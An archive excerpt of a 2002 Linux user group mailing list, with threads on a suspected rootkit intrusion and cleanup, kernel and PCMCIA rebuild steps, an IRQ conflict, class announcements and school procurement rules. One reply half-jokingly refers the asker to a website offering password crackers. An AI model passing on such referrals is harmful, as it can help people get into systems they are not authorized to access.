> Sundar > > slr wrote: > >i didnt say this! > > > >but check out http://www.blackcode.com/, they several password crackers on > >their site. the only thing is you will have to register to download files. > > > >remember i didnt send you there. :~D > > > >slr > > > >On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > >>Hello, > >> > >>Would you guys know of hacking/cracking the password key stored in > >>Windows NT registry by an application? Application in question is 'Funk > >>Software Proxy' and it seems to have stored the password in binary form. > >> > >>(The guy who ghost imaged the system left the company and now we have to > >>connect to them.) > >> > >>Any help is appreciated > >> > >>Sundar > >> > >> > >> > >>________________________________________________ > >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >>post to the list quickly and you use Netscape to write mail. > >> > >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:58:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Wed, 19 Jun 2002 13:58:04 -0700 (MST) Subject: possible LKM rootkit infection In-Reply-To: <20020619191027.UFSN26656.fed1mtao04.cox.net@there> Message-ID: On Wed, 19 Jun 2002, technomage wrote: > done all of this (even written them to a text file for later review). so far, > I don't see anything unusual. I have a couple of non-standard (installed > myself) servers running here (ircd and opennap) and I know which ports those > are on. everything else appears to be as normal (including their port > assignmanets). ...[SNIP]... > as it is, I was thinking ahead security wise when I placed this unit online. > > anything else I should be doing? Well, you should probably consider a remote security analysis scan to determine any vulnerabilities in your system/services and also to check for any backdoors that are now available. To do this, you could support a PLUG member and local business and visit Edgeos at http://www.edgeos.com. :) -- ~Jay From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:04:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 19 Jun 2002 14:04:40 -0700 Subject: gentoo 1.2 In-Reply-To: <000d01c217c7$617e40b0$0301010a@tickticker.com> References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> Message-ID: <200206191404.40420.zen2now@qwest.net> wow!!! kewl site, i have added it to my BM's. thx for the link. slr On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > linuxiso.org From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:48:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:48:02 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619195509.4110.qmail@web14008.mail.yahoo.com> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> Message-ID: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> according to the "last" command, he logged in as a user on one of my accounts and was on for 6 minutes. I checked elsewhere and found that there had been no other activity (even to checking the backups of some of the history files that are made each hour). after than, I checked to make sure there weren't any outbound connections to his IP range (there weren't). I used a clean box as a sniffer for this. I then proceeded to change all system passwords and user account passowrds. Then, I loaded clean versions of rpm, etc and proceeded to do a package verification. I even did md5 checksum comparisons and sig checking. I checked with a couple of folks I know in the computer security field (one of whom is currently serving duty with the US navy at their fascility in southern california (the USN Naval Post Graduate School). Given information from him (and others), I made an assumption that the intruder hadn't gotten very far into my system, and that since all passwords were changed immediately following the incident AND that the offending ip range (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other incursions until yesterday evening. what I find odd is that the incursion didn't stick. said "invisible processes" that wer recorded before aren't there now. just as a measure, I also made sure that my system has current patches for apache (which I do run a webserver here on port 8000) and I've tested any cgi scripts and other things using a tool called nessus. so far, after the last 12 hours, I can't seem to find any evidence that an incursion (intrusion) has taken place other than that 1 log entry written by chkrootkit that one time. so, I'm at a loss. am I trojaned or not? Technomage On Wednesday 19 June 2002 12:55 pm, you wrote: > --- technomage wrote: > > ok, > > > > > as a safety measure when I first found an intruder on my system some > > weeks back, I changed all passwords, ran chattr +ui on some specified > > directories > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > you changed the passwords, etc, there may have already been someting in > place that passed that info back to the intruder. Any idea on how long the > intruder had access to your system? > > Personally, I would cut my loses - print (yes print) any config files that > you want to re-implement, wipe the box and re-install from scratch. > > Or > > if you have the disk to spare, rebuild the system on a new disk. Once > done, mount up the old disk - dont run anything from it - and give it a > thorough going over - see if you can figure out what was done to compromise > the system. > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 21:52:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Wed, 19 Jun 2002 14:52:14 -0700 Subject: possible LKM rootkit infection In-Reply-To: References: Message-ID: <20020619215213.XTFB1378.fed1mtao03.cox.net@there> yes, they used my user account (after having gained info from another rootkitted system at another location where I sometimes came in from (other place in town). the intrusion happened within days of the rootkitted machine being discovered at the other location (my account there also had the same password). However, I have a policy of now chaning passwords on a once-per-week basis (I have a random password generator here now). in any case, I don't think he got very far as I caught the intrusion initially only hours after it happened. Technomage On Wednesday 19 June 2002 01:00 pm, you wrote: > You said you found an intruder on your box a few weeks back. Do you know > how they got in? > -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:15:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Wed, 19 Jun 2002 15:15:24 -0700 (PDT) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: It's possible that those mystery processes only ran one time and covered up their activity afterwards, or maybe they run at some regular interval, who knows. Personally, I would sleep better at night after rebuilding the box. Also, I would recommend that you have different passwords for different sites. You don't want a security hole at one site completely opening your boxes at another site (as was the case with you). It's even better if each box has a different password from all the others. ~M On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 22:06:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Blake Barnett) Date: 19 Jun 2002 15:06:18 -0700 Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> References: <20020619195509.4110.qmail@web14008.mail.yahoo.com> <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: <1024524379.1365.0.camel@shiva.soulmachine.com> If you are unwilling to reinstall from scratch then at least replace your kernel and get fresh binaries for all base components (as much as /bin and /usr/bin as you can handle). On Wed, 2002-06-19 at 14:48, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Blake Barnett (bdb) Sr. Unix Administrator DevelopOnline.com office: 480-377-6816 Learning is a skill, you get better at it with practice. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 08:25:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Nash) Date: Wed, 19 Jun 2002 08:25:26 +0000 (UTC) Subject: possible LKM rootkit infection In-Reply-To: <20020619214812.WBWD26656.fed1mtao04.cox.net@there> Message-ID: Have you considered structuring your partitions appropriately so things *can't* be replaced? An example would be mounting lib and binaries trees in read-only form, and requiring maintenance windows at the console to update them. Proper kernel restrictions like not allowing the use of mount under normal running conditions would cut down on rootkit implants under standard kiddie attempts. - billn On Wed, 19 Jun 2002, technomage wrote: > according to the "last" command, he logged in as a user on one of my accounts > and was on for 6 minutes. > > I checked elsewhere and found that there had been no other activity (even to > checking the backups of some of the history files that are made each hour). > > after than, I checked to make sure there weren't any outbound connections to > his IP range (there weren't). I used a clean box as a sniffer for this. I > then proceeded to change all system passwords and user account passowrds. > Then, I loaded clean versions of rpm, etc and proceeded to do a package > verification. I even did md5 checksum comparisons and sig checking. > > I checked with a couple of folks I know in the computer security field (one > of whom is currently serving duty with the US navy at their fascility in > southern california (the USN Naval Post Graduate School). Given information > from him (and others), I made an assumption that the intruder hadn't gotten > very far into my system, and that since all passwords were changed > immediately following the incident AND that the offending ip range > (ns.rotind.ro) was placed in iptables as immediate drop, I saw no other > incursions until yesterday evening. > > what I find odd is that the incursion didn't stick. said "invisible > processes" that wer recorded before aren't there now. > > just as a measure, I also made sure that my system has current patches for > apache (which I do run a webserver here on port 8000) and I've tested any cgi > scripts and other things using a tool called nessus. > > so far, after the last 12 hours, I can't seem to find any evidence that an > incursion (intrusion) has taken place other than that 1 log entry written by > chkrootkit that one time. > > so, I'm at a loss. am I trojaned or not? > > Technomage > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > --- technomage wrote: > > > ok, > > > > > > > > > as a safety measure when I first found an intruder on my system some > > > weeks back, I changed all passwords, ran chattr +ui on some specified > > > directories > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even though > > you changed the passwords, etc, there may have already been someting in > > place that passed that info back to the intruder. Any idea on how long the > > intruder had access to your system? > > > > Personally, I would cut my loses - print (yes print) any config files that > > you want to re-implement, wipe the box and re-install from scratch. > > > > Or > > > > if you have the disk to spare, rebuild the system on a new disk. Once > > done, mount up the old disk - dont run anything from it - and give it a > > thorough going over - see if you can figure out what was done to compromise > > the system. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! - Official partner of 2002 FIFA World Cup > > http://fifaworldcup.yahoo.com > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > numbered! > My life is my own - No. 6 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:10:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Wed, 19 Jun 2002 16:10:02 -0700 Subject: Gnucash 1.6.6 References: <200206190037.18890.plug@the-arcanum.org> Message-ID: <3D110F4A.84214D16@earthlink.net> Well you got further than I did!! I tried on Mandrake 8.1 distro, but had trouble getting the various libs in and running. I'll be looking forward to your solution(s)! pete Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Has anyone built gnucash 1.6.6 ? > I built it tonight and everything went smooth, but when I try to load it, it > says slib is missing and I may need to create a symlink to slib in my guile > directory. > My guile is in /usr/share/guile > Slib is in /usr/share/guile/1.4/slib with a symlink to /usr/share/guile/slib > > I've tried as root and my user. > Anyone else have this problem? > > nathan > - -- > > Nathan England > plug@the-arcanum.org > jabber id: linuxjunkie@earth.jabber.li > > "A free society is one where it is safe to be unpopular." > -- Adlai Stevenson > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9EDSuQ7yNnsYcupwRAvJ0AJ9j7Amm7wC+0zjdLvhEby9FPuCIMQCeLvVr > u73LzZDYaZcmaR/zXWj68BE= > =JqV+ > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 23:34:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Wed, 19 Jun 2002 16:34:30 -0700 Subject: linuxiso.org - download just about every flavor there is References: <200206180935.52647.zen2now@qwest.net> <200206190901.00430.zen2now@qwest.net> <000d01c217c7$617e40b0$0301010a@tickticker.com> <200206191404.40420.zen2now@qwest.net> Message-ID: <007101c217e9$dc469ff0$0301010a@tickticker.com> For those of you that missed the thread.... www.linuxiso.org is THE place to get isos either directly or use their mirrors. however new packages can take up to a week to appear. Anthony ----- Original Message ----- From: "slr" To: ; "tickticker" Sent: Wednesday, June 19, 2002 2:04 PM Subject: Re: gentoo 1.2 > wow!!! kewl site, i have added it to my BM's. > thx for the link. > > slr > > On Wednesday 19 June 2002 12:27 pm, tickticker wrote: > > linuxiso.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 20:31:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 19 Jun 2002 13:31:48 -0700 (MST) Subject: [PLUG-announce]PLUG announces intro to GNU/Linux classes Message-ID: moin, moin, starting on Wed, the 4th of Sep, 2002, PLUG will start holding monthly classes designed to teach the basics for using GNU/Linux as a desktop operating system. The classes will meet the first Wed every month starting at 19:00. They will be held at Sequoia Charter School, the same location as PLUG's monthly east side meeting. Sequoia, 1460 S. Horne in Mesa, is located just north of US 60 on the west side of Horne. There is NOT a freeway ramp at Horne, so take the Mesa or Stapley exit north to Southern. Turn south onto Horne and look for Sequoia on the right at the beginning of the ramp over the freeway. Contact classes@PLUG.phoenix.az.us for questions about the classes. ciao, der.hans -- # https://www.LuftHans.com/ # Knowledge is useless unless it's shared. - der.hans _______________________________________________ PLUG-announce mailing list - PLUG-announce@lists.PLUG.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-announce PLUG Website at http://plug.phoenix.az.us From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Wed, 19 Jun 2002 20:44:05 -0400 Subject: Need help with IRQ conflict with pcmcia network card Message-ID: <20020620004407.ZZSL3893.lakemtao05.cox.net@smtp.central.cox.net> The kernel (2.4.18) finally compiled (after 8 hours - see below) and actualy works! However, I now get an IRQ conflict with my ethernet pcmcia card! I get the error message 3c589_cs RequestIRQ: Resource in use in /var/log/messages. I added the line module "3c589_cs" opts "irq_mask=0x2240" to /etc/pcmcia/config.opts, but I still get the same message (based on the /etc/pcmcia/interrupts file and the bios settings, IRQ 6, 9 and 13 should be free; hence the 0x2240). My ethernet card is a 3Com 3c589D (Etherlink III) pcmcia card. Any brilliant (or not so brilliant) ideas will be greatly appreciated! Mark > > From: Mark Phillips > Date: 2002/06/18 Tue PM 11:47:16 EDT > To: plug-discuss@lists.plug.phoenix.az.us, kevin_brown@qwest.net > Subject: Re: Re: Need Help with Redhat 7.3 Install > > Kevin, > > Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. > > I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: > > 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) > 2. I removed the pcmcia stuff as you described below. > > I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. > > You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? > > I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). > > I will let you know if I find any other problems. > > Thanks again! > > Mark > > > > From: "Kevin Brown" > > Date: 2002/06/17 Mon PM 07:12:36 EDT > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Need Help with Redhat 7.3 Install > > > > I gave Mark a call this morning, but thought I'd send this out to the list since > > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > > package from the system. > > > > rpm -e kernel-pcmcia-cs > > > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > > kernel.org > > wget > > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > > wget > > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > > cd /usr/src > > tar -xvzf ~/linux-2.4.18.tar.gz > > rpm -ivh ~/kernel-2.4.18.src.rpm > > cd /usr/src/redhat/SOURCES > > cp kernel-config- /usr/src/linux/.config > > > > Alter the config of the kernel: > > cd /usr/src/linux > > make menuconfig > > > > Remove PCMCIA Support > > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > > hit n to remove it, then exit config and save the changes > > > > make dep && make clean && make bzImage && make modules && make modules_install > > > > Wait for it to finish. On my P150 this took most of the night to do. > > > > cd /usr/src/linux/arch/i386/boot > > cp bzImage /boot/vmlinuz-2.4.18 > > > > Assuming you are using grub, edit /etc/grub.conf > > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > > > Easy way to edit both is to copy the config that is currently booting and rename > > kernel it is loading. > > > > Reboot the system and select the recently compiled kernel. > > > > Now rebuild PCMCIA support. > > > > cd /usr/src > > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > > cd pcmcia-cs-3.1.34 > > make config && make all && make install > > > > You should be able to accept the defaults during make config. Once done test by > > starting it up. > > > > /etc/rc.d/init.d/pcmcia start > > > > Hope this helps. > > > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > > > Thanks! > > > > > > > > > > > > Mark Phillips > > > Phillips Marketing, Inc. > > > 480.945.0798 > > > 480.945.9197 fax > > > mark@phillipsmarketing.biz > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Thu Jun 20 00:44:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Wed, 19 Jun 2002 19:44:47 -0500 Subject: jaz drive Message-ID: <20020619194447.A7194@lilly.csoft.net> Anyone know where I can pick up a 2Gb scsi Jaz Drive? I'm in the market. v/r mike From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 20:10:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 16 Jun 2002 13:10:51 -0700 Subject: Fw: Computer Purchasing Guidelines In-Reply-To: <5.1.0.14.0.20020619093307.024ec210@localhost> References: <006f01c2174b$5e9e3d90$42c8a8c0@schnauzer> <5.1.0.14.0.20020619093307.024ec210@localhost> Message-ID: <200206161310.51377.wokan@cox.net> It would be a lot more civil than the way Monoposoft has treated its users, distributors, partners, and even it's beloved MCSE's. On Wednesday 19 June 2002 09:34, Kimi A. Adams wrote: > Would this be civil? > > Kimi > > At 6/19/02, you wrote: > >-----BEGIN PGP SIGNED MESSAGE----- > >Hash: SHA1 > > > >According to the state administrative rules, it looks like most if not all > > of the school districts could be required to initiate debarment > > proceedings against MS. Anyone know an attorney who is willing to take > > something like this on pro-bono? > > > >On Tuesday 18 June 2002 21:39, you wrote: > > > Here is the response I received from David Cantelme, Deer Valley school > > > board member. He is the one who has arizonalawinstitute@yahoo.com as > > > his email address. It sounds to me that all the school districts and > > > the state itself should be starting debarment proceedings against MS. > > > We need to start contacting the legislators, Attorney General's office > > > and your local school superintendents. > > > > > > > > > ----- Original Message ----- > > > From: "david cantelme" > > > To: "Tom Achtenberg" > > > Sent: Tuesday, June 18, 2002 6:08 AM > > > Subject: Re: Computer Purchasing Guidelines > > > > > > > > > Dear Mr. Actenburg: > > > > > > They do not, but similar rules found in the state > > > school district procurement rules do apply. Both sets > > > of rules have their origen in the state procurement > > > code. You can find the school district procurement > > > rules by going to the secretary of state web site. > > > Click on administrative rules. Go to title seven. > > > Then scroll down to R7-2-1001. That's where the rules > > > begin. They continue to about R7-2-1175. > > > > > > Debarment procedures do exist in the school district > > > procurement rules. You would need to address your > > > comments on debarment to the adminsitration. That's > > > who would initiate the procedure. If the > > > administration initiates a debarment procedure, the > > > board determines whether to appoint a hearing officer. > > > It goes from there to the officer with appropriate > > > due process to the contractor. The board itself has > > > no involvement in the hearing process. The officer > > > must be independent to ensure a fair hearing under our > > > constitutional system. > > > > > > --- Tom Achtenberg wrote: > > > > I was wondering if the Maricopa County purchasing > > > > policies listed below apply > > > > to DVUSD purchasing pprocedures? > > > > > > > > Maricopa County policies. Interesting references: > > > > > > > > MC1-101 DEFINITIONS > > > > 25."CONTRACTOR" means any Person who has a Contract > > > > with a County > > > > Governmental unit. For purposes of Article 5, > > > > Contractor may also mean > > > > Respondent as defined in this Article. > > > > 36."DEBARMENT" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 to prohibit a Person from > > > > Participating in > > > > Maricopa County Procurements. > > > > 80."PERSON" means any corporation, Business, > > > > individual, union, > > > > committee, club, other organization or group of > > > > individuals. > > > > 113."SUSPENSION" means an action taken by the County > > > > Administrative > > > > Officer under MC1-902 temporarily disqualifying a > > > > Person from > > > > participating in Maricopa County Procurements. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > > > > > > [Microsoft is considered a Contractor and a Person. > > > > This is important > > > > below.] > > > > > > > > > > > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > > > > All Specifications shall seek to promote overall > > > > economy for the purpose > > > > intended and encourage competition in satisfying > > > > Maricopa County's needs > > > > and shall not be unduly restrictive. > > > > > > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > > > > > > [Is there any technology that is Microsoft > > > > exclusive? I believe there > > > > are sites that explain how to replace Exchange > > > > Server completely using > > > > Linux/OSS with Qmail; and SQL Server is replaceable > > > > with mySQL or PostgreSQL; > > > > IIS & ASP is replaceable with Apache & PHP, The MS > > > > Office suite is > > > > replaceable with the very comparable Open Office > > > > suite.] > > > > > > > > > > > > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > > > > B. The causes for Debarment or Suspension shall > > > > include, but are not > > > > limited to, the following: > > > > 2. Conviction of any Person or any subsidiary or > > > > affiliate of any Person > > > > under any statute of the Federal government, this > > > > State or its political > > > > subdivision or any other State for: > > > > k. Any other offense indicating a lack of business > > > > integrity or business > > > > honesty which affects responsibility as a > > > > Contractor. > > > > 3. Conviction or civil judgment finding a violation > > > > by any Person or any > > > > subsidiary or affiliate of any Person under State or > > > > Federal Antitrust > > > > Statutes. > > > > 